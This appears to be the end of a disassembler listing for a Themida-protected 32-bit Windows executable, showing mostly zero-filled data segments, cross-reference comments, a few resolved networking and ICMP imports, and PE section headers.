dd 1EB9h dup(0)
db 3 dup(0)
byte_4E7D9F db 0 ; DATA XREF: sub_427D50+1Do
dd 21h dup(0)
db 0
byte_4E7E25 db 3 dup(0) ; DATA XREF: ___:00419FA3o
dd 235h dup(0)
db 3 dup(0)
byte_4E86FF db 0 ; DATA XREF: sub_427D50+2Fo
dd 1D5h dup(0)
byte_4E8E54 db 0 ; DATA XREF: sub_404CC0+299w
; sub_410030:loc_410072r ...
byte_4E8E55 db 3 dup(0) ; DATA XREF: sub_404CC0+235o
; sub_404CC0+874o ...
dd 4 dup(0)
db 2 dup(0)
word_4E8E6A dw 0 ; DATA XREF: sub_404CC0+2D4o
; ___:00408734o ...
dd 0Fh dup(0)
db 0
byte_4E8EA9 db 0 ; DATA XREF: sub_41F960+31w
; sub_41F960+47w ...
db 0
byte_4E8EAB db 0 ; DATA XREF: sub_418590+21o
; sub_41D930+341o ...
dd 6D2Ah dup(0)
dword_504354 dd 12BAh dup(0) dword_508E3C dd 1000h dup(0) ; ___:00419B9Do ...
dword_50CE3C dd 333h dup(0) ; ___:00419BB8o ...
dword_50DB08 dd 0 ; sub_41A110+1Br ...
dd 3 dup(0)
dword_50DB18 dd 0 ; ___:0041FC3Dw ...
dword_50DB1C dd 0 ; sub_41FB90+2Aw ...
dword_50DB20 dd 0 dword_50DB24 dd 0 ; ___:0041FC5Bw
dword_50DB28 dd 0 dword_50DB2C dd 0 ; ___:0041FC67w ...
dword_50DB30 dd 0 ; ___:0041FC6Dw ...
dword_50DB34 dd 0 ; ___:00420EA9o
dword_50DB38 dd 0 ; sub_41FB90:loc_41FBB4r ...
dword_50DB3C dd 0 ; ___:0041FC81w
dword_50DB40 dd 0 ; sub_420630+41w ...
dword_50DB44 dd 0 ; sub_420630+7Fr
dword_50DB48 dd 0 ; sub_420630+92r ...
dword_50DB4C dd 0 ; sub_420630+148r
dd 3 dup(0)
dword_50DB5C dd 0 ; ___:0041C2A5o
dword_50DB60 dd 0 ; sub_423820+5r ...
dword_50DB64 dd 0 ; ___:00423FABr ...
dd 7CEh dup(0)
dword_50FAA0 dd 6 dup(0) ; ___:00423EAFo ...
dword_50FAB8 dd 196h dup(0) ; sub_423760+6Do
dword_510110 dd 0 word_510114 dw 0 ; DATA XREF: sub_424F70+A9r
align 4
word_510118 dw 0 ; DATA XREF: sub_4253C0+45r
; sub_4257F0+DAr
align 4
dword_51011C dd 0 dd 0
byte_510124 db 0 ; DATA XREF: sub_4267D0:loc_426830r
; sub_4267D0+97w
align 4
dword_510128 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_427B10+D9r
dword_51012C dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_427B10+45r
dword_510130 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_427B10+54r ...
align 8
dword_510138 dd 80h dup(0) ; sub_427D50+129o
dword_510338 dd 0 dword_51033C dd 0 dd 1Dh dup(0)
dword_5103B4 dd 0 ; ___:0042C40Dr ...
dword_5103B8 dd 0 ; sub_42DE00:loc_42DE96r ...
dword_5103BC dd 0 ; resolved to->WS2_32.connect ; sub_432570+2Dr ...
dword_5103C0 dd 0 dword_5103C4 dd 0 ; sub_431560r ...
dword_5103C8 dd 0 dword_5103CC dd 0 ; sub_4309A0+111w ...
dword_5103D0 dd 0 ; sub_4309A0+F6r ...
dword_5103D4 dd 0 ; ___:loc_4316A0r
dword_5103D8 dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_4322D0+2Cr ...
dd 2 dup(0)
dd 0
dd 13Eh dup(0)
dword_5108E0 dd 10h dup(0) ; sub_431470:loc_4314A0o ...
dword_510920 dd 8 dup(0) ; sub_430830+25o ...
dword_510940 dd 8 dup(0) ; sub_431980+25o ...
dword_510960 dd 8 dup(0) ; sub_432850+84o ...
dword_510980 dd 8 dup(0) ; sub_432850+8Bo ...
dword_5109A0 dd 0Dh dup(0) ; sub_4309A0:loc_430AB7o ...
dd 0
dd 350h dup(0)
dword_511718 dd 0 align 10h
dword_511720 dd 0 dd 2 dup(0)
dword_51172C dd 0 dd 4 dup(0)
dword_511740 dd 0 ; sub_40E870+25Ar ...
dword_511744 dd 0 dword_511748 dd 0 dd 2 dup(0)
dword_511754 dd 0 ; sub_40EE40+15Er ...
dd 0
dword_51175C dd 0 ; sub_40E870+22Cr
dd 0
dword_511764 dd 0 ; sub_4208E0+285r ...
dd 0
dword_51176C dd 0 ; sub_40E870+24Cr
dd 1Ch dup(0)
dword_5117E0 dd 0 ; sub_420630+FEr
dd 20h dup(0)
dword_511864 dd 0 dword_511868 dd 0 dword_51186C dd 0 dd 3 dup(0)
dd 0
dd 0Bh dup(0)
dword_5118AC dd 0 ; sub_410030+47r ...
dd 7 dup(0)
dword_5118CC dd 0 dd 2 dup(0)
dword_5118D8 dd 0 ; sub_41B5B0+2Fr ...
align 10h
dword_5118E0 dd 0 ; sub_4204D0+2Er ...
align 10h
dword_5118F0 dd 0 dd 8 dup(0)
dd 0
dword_511918 dd 0 ; sub_420630:loc_42067Cr ...
dd 31h dup(0)
dword_5119E0 dd 0 dd 22h dup(0)
dword_511A6C dd 0 ; sub_42E5B0+53r ...
dword_511A70 dd 0 dd 2 dup(0)
dword_511A7C dd 0 dd 3 dup(0)
dword_511A8C dd 0 dword_511A90 dd 0 ; sub_42DE00+4Ar ...
dd 2 dup(0)
dword_511A9C dd 0 dword_511AA0 dd 0 dword_511AA4 dd 0 dword_511AA8 dd 0 dword_511AAC dd 0 dword_511AB0 dd 0 align 8
dword_511AB8 dd 0 ; ___:0041C3DAr
dd 3 dup(0)
dword_511AC8 dd 0 ; sub_41BA50+17Er ...
align 10h
dword_511AD0 dd 0 ; sub_42F2C0+34r ...
align 8
dword_511AD8 dd 0 align 10h
dword_511AE0 dd 0 ; sub_42DE00+90r
dword_511AE4 dd 0 ; sub_426070+C8r ...
dd 0
dword_511AEC dd 0 dd 4 dup(0)
dword_511B00 dd 0 ; sub_41BD90+5Dr
dword_511B04 dd 0 ; sub_410030+1126r ...
dword_511B08 dd 0 ; ___:00419CDAr
dd 2 dup(0)
dword_511B14 dd 0 ; sub_422B40+203r ...
dd 0
dword_511B1C dd 0 dd 3 dup(0)
dd 0
dd 34h dup(0)
dword_511C00 dd 0 ; sub_41A050+2Dr ...
dd 0Dh dup(0)
dword_511C38 dd 0 ; sub_425100:loc_4251B2r ...
dword_511C3C dd 0 ; sub_42B8E0:loc_42B99Br
dd 4 dup(0)
dword_511C50 dd 0 dd 2 dup(0)
dword_511C5C dd 0 dd 0
dword_511C64 dd 0 dword_511C68 dd 0 ; sub_42B8E0+F9r
dd 7 dup(0)
dword_511C88 dd 0 dd 2 dup(0)
dword_511C94 dd 0 ; sub_41A7D0+48r ...
dword_511C98 dd 0 dword_511C9C dd 0 ; sub_41F960+198r ...
dword_511CA0 dd 0 ; ___:004217E1r ...
dword_511CA4 dd 0 ; sub_4253C0+8Br ...
dd 0
dword_511CAC dd 0 ; sub_42C830+E8r
dd 4D4h dup(0)
___ ends
; Section 2. (virtual address 00113000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00113000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 513000h
align 2000h
_rsrc___ ends
; Section 3. (virtual address 00114000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00114000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 514000h
dd 400h dup(0)
_idata__ ends
; Section 4. (virtual address 00115000)
; Virtual size : 00102000 (1056768.)
; Section size in file : 00102000 (1056768.)
; Offset to raw data for section: 00115000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
Themida_ segment para public 'CODE' use32
assume cs:Themida_
;org 515000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
dd 5 dup(0)
public start
start dd 0BD4Ch dup(0)
db 3 dup(0)
byte_544547 db 0 ; DATA XREF: ___:off_447224o
dd 0B512h dup(0)
db 3 dup(0)
db 0
dd 139B2h dup(0)
dword_5C005C dd 0D9D4h dup(0) db 2 dup(0)
word_5F67AE dw 0 ; CODE XREF: sub_4068E0+12Bp
; sub_409CA0+1Dp ...
dd 715Ch dup(0)
dword_612D20 dd 0FCBh dup(0) db 2 dup(0)
word_616C4E dw 0 ; DATA XREF: ___:off_44530Co
align 400h
Themida_ ends
; Section 5. (virtual address 00217000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00217000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 617000h
align 2000h
_idata2 ends
end start